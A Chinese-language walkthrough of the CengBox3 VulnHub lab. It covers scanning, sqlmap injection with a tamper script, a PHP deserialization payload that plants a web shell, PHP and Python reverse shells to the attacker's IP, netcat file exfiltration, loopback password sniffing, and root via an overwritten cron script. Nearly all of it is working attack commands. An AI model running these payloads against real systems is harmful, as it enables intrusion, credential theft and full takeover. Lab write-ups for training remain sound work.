CengBox3渗透笔记

目录

1.前言

2.准备工作

3.arp-scan主机发现

4.网络扫描

5.查看web指纹

6.旁站查询

7.目录爆破

8.sql 注入

9.获取反弹shell

10.提权

10.1获取普通用户shell

 10.2获取root权限

 11.结语


1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/cengbox/CengBox3.ova。

难度:中等/困难

镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机

目标:获取user和root的flag。

靶机IP:未知

本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

arp-scan -l

发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。

4.网络扫描

nmap  -A  192.168.1.116

CengBox3渗透笔记_第1张图片

发现系统是linux,开放了80、443端口,80端口为HTTP服务,使用的是Apache 2.4.18,443端口为SSL,域名ceng-company.vm,22号端口有ssh服务,但是关闭了。

5.查看web指纹

whatweb 192.168.1.116

 通过wappalyzer 查看web指纹

CengBox3渗透笔记_第2张图片

没有发现有用的东西。

看看网站,浏览器访问:https://192.168.1.116

CengBox3渗透笔记_第3张图片

 页面点点点,发现4个头像这里,第一个和最后一个人除了Facebook、twitter、Instagram之外还有一个链接,分别是GitHub和reddit.

GitHub页面得到hint

得到一个账号:[email protected]

CengBox3渗透笔记_第4张图片

一段反序列化代码

6.旁站查询

旁站也就是靶机做了个反向代理,同一个IP上多个网站,是通过Host头来决定发给哪个网站。

修改hosts文件把ceng-company.vm 绑定到靶机IP上。

在本地hosts文件,添加新行 192.168.1.116  ceng-company.vm

用gobuster扫描域名,查找旁站。

gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

CengBox3渗透笔记_第5张图片

 扫描到dev。得到新域名dev.ceng-company.vm

在本地hosts文件,添加新行

192.168.1.116  dev.ceng-company.vm

7.目录爆破

使用dirsearch 对dev.ceng-company.vm 进行目录爆破

dirsearch -u http://dev.ceng-company.vm

CengBox3渗透笔记_第6张图片

 通过浏览器访问http://dev.ceng-company.vm/index.php

CengBox3渗透笔记_第7张图片

 是一个登录界面,不知道账号密码,试试sql注入。

8.sql 注入

burp抓包后保存,存入1.txt。

CengBox3渗透笔记_第8张图片

 开始sql注入,使用命令:

sqlmap -r "1.txt" --dbs

CengBox3渗透笔记_第9张图片

 先直接用sqlmap注入一下,显示存在注入,但是始终注入不出来数据库,“[ERROR] unable to retrieve the number of databases”,猜想应该是存在字符过滤。

使用tamper脚本between,功能是将大于号和等于号用between语句替换,用于过滤了大于符号和等号的情况。

sqlmap -r "1.txt" --tamper=between --dbs

CengBox3渗透笔记_第10张图片

得到数据库名cengbox,继续猜解表名。

sqlmap -r "1.txt" --tamper=between -D cengbox --tables

CengBox3渗透笔记_第11张图片

 得到表名users,继续猜解列名。

获得列名,id,login,name,password。

打印出users表的内容。

sqlmap -r "1.txt" --tamper=between -D cengbox -T users -C id,login,name,password --dump

CengBox3渗透笔记_第12张图片

得到了两个用户名密码: [email protected]/admin*_2020 ,[email protected]/walnuttree 。

使用账号密码登录成功。

CengBox3渗透笔记_第13张图片

页面提供三个功能,ADD POEM,密码修改,注销。

9.获取反弹shell

在ADD POEM输入任意内容,跳转如下。

点击Here之后调整

 输入的内容会在这个页面回显。注意到回显是地址栏有信息,是URL编码。

 找个在线的URL解码工具解码

http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.txt%22%3Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D

CengBox3渗透笔记_第14张图片

 解码结果
 

http://dev.ceng-company.vm/addpoem.php?data=O:4:"Poem":3:{s:8:"poemName";s:11:"myPoemTitle";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:11:"myPoemTitle";}s:9:"poemLines";s:10:"mypoemLine";}

data后面内容是PHP序列化后的内容,看到了我们输入的poemtitle,poemlines,一个文件/var/www/html/poem.txt,猜测是存放输入内容的文件,目录是web根目录。

直接访问poem.txt,

http://dev.ceng-company.vm/addpoem.php?data=poem.txt

没有内容显示,但是成功了。

此处有PHP序列化,想到前面得到的反序列化代码,试试PHP序列化漏洞。

构造payload

O:4:"Poem":3:{s:8:"poemName";s:4:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.php";s:8:"poemName";s:47:"&1'); ?>";}s:9:"poemLines";s:5:"cdbda";}

进行URL编码

O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B'cmd'%5D.'%202%3E%261')%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D

拼接到URL

http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B'cmd'%5D.'%202%3E%261')%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D

访问http://dev.ceng-company.vm/poem.php?cmd=id 找不到文件。

试试http://ceng-company.vm/poem.php?cmd=id

访问成功,有PHP序列化漏洞。

访问http://192.168.1.116/poem.php?cmd=id 也可以成功。

把反弹shell命令

php -r '$sock=fsockopen("192.168.1.107",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

URL编码后,拼接到http://192.168.1.116/poem.php?cmd=

在本机运行nc -vlp 6666 启动监听

访问

http://192.168.1.116/poem.php?cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.1.107%22%2C6666)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27

成功获得反弹shell。

CengBox3渗透笔记_第15张图片

 获取的反弹shell没有显示目录,升级远程shell。

bash -i

SHELL=/bin/bash script -q /dev/null

CengBox3渗透笔记_第16张图片

10.提权

以上步骤已经获得了web shell,但是不是用户shell,更不是管理员shell,我们期望获得管理员的权限,完全控制目标机器。

10.1获取普通用户shell

运行

uname -a

得知系统是64位,下载pspy64s到靶机上授予执行权限运行

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

chmod 777 pspy64s

./pspy64s

观察发现存在定时任务/usr/bin/python3 /opt/login.py

CengBox3渗透笔记_第17张图片

 查看/opt/login.py

CengBox3渗透笔记_第18张图片

 只有eric用户有权限。

再使用linpeas脚本试试,下载文件

wget  https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

授予权限并执行

chmod 777 linpeas.sh

./linpeas.sh

 

 提示可以使用tcpdump嗅探数据。

tcpdump就是dump the traffic on a network,是根据使用者的定义对网络上的数据包进行截获的包分析工具。可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助去掉无用的信息。

运行tcpdump

CengBox3渗透笔记_第19张图片

 默认监视的是第一个网卡,抓取到的是主机和靶机的通信,没有数据,试试在另一个网卡lo。

运行 tcpdump -i lo

CengBox3渗透笔记_第20张图片

 抓到了数据,保存下来进一步分析。

tcpdump -i lo -w ceng.pcapng

CengBox3渗透笔记_第21张图片

 发现没有权限写文件,找一个有写文件权限的地方。/tmp 目录可以。

切换到/tmp目录再执行命令,等待!!!,Ctrl+C中断执行。

cd /tmp

tcpdump -i lo -w ceng.pcapng

CengBox3渗透笔记_第22张图片

在/tmp目录下看到了保存的数据

CengBox3渗透笔记_第23张图片

 把保存的文件ceng.pcapng传送到攻击机上分析。

在攻击机运行

nc -vlp 6789 > cengK.pcapng

在靶机shell上运行

nc 192.168.1.107 6789 < ceng.pcapng

成功接受到数据包

CengBox3渗透笔记_第24张图片

 运行 wireshark 打开抓到的数据包 cengK.pcapng

CengBox3渗透笔记_第25张图片

右键Fellow ->TCP Stream

CengBox3渗透笔记_第26张图片

 发现eric账号密码:password=3ricThompson%2ACovid19&username=eric

然后对其URL解码得到:password=3ricThompson*Covid19&username=eric

CengBox3渗透笔记_第27张图片

 使用eric的账号密码登录靶机

su eric

3ricThompson*Covid19

切换目录到,用户flag在user.txt

/home/eric

cat user.txt

CengBox3渗透笔记_第28张图片

 10.2获取root权限

现在有了普通用户权限,需要root权限。我们在上面发现存在定时任务/usr/bin/python3 /opt/login.py。eric用户对login.py有读写权限。把login.py内容换成反弹shell内容,在攻击机上监听可获得反弹shell,即为root权限。

在攻击机上运行nc

nc -vlp 5678  

把反弹shell代码写入login.py

echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.107',5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > login.py

 靶机收到连接,是root用户shell,flag在proof.txt中。

CengBox3渗透笔记_第29张图片

 11.结语

这是cengbox系列靶机的第三个,也就是最后一个,这三个靶机难度恰好覆盖简单、中等、困难不同阶段,都做一下能感受到不同难度靶机的情况。最后请各位师傅斧正!!!

你可能感兴趣的:(渗透学习,linux,web安全,安全,运维,网络安全)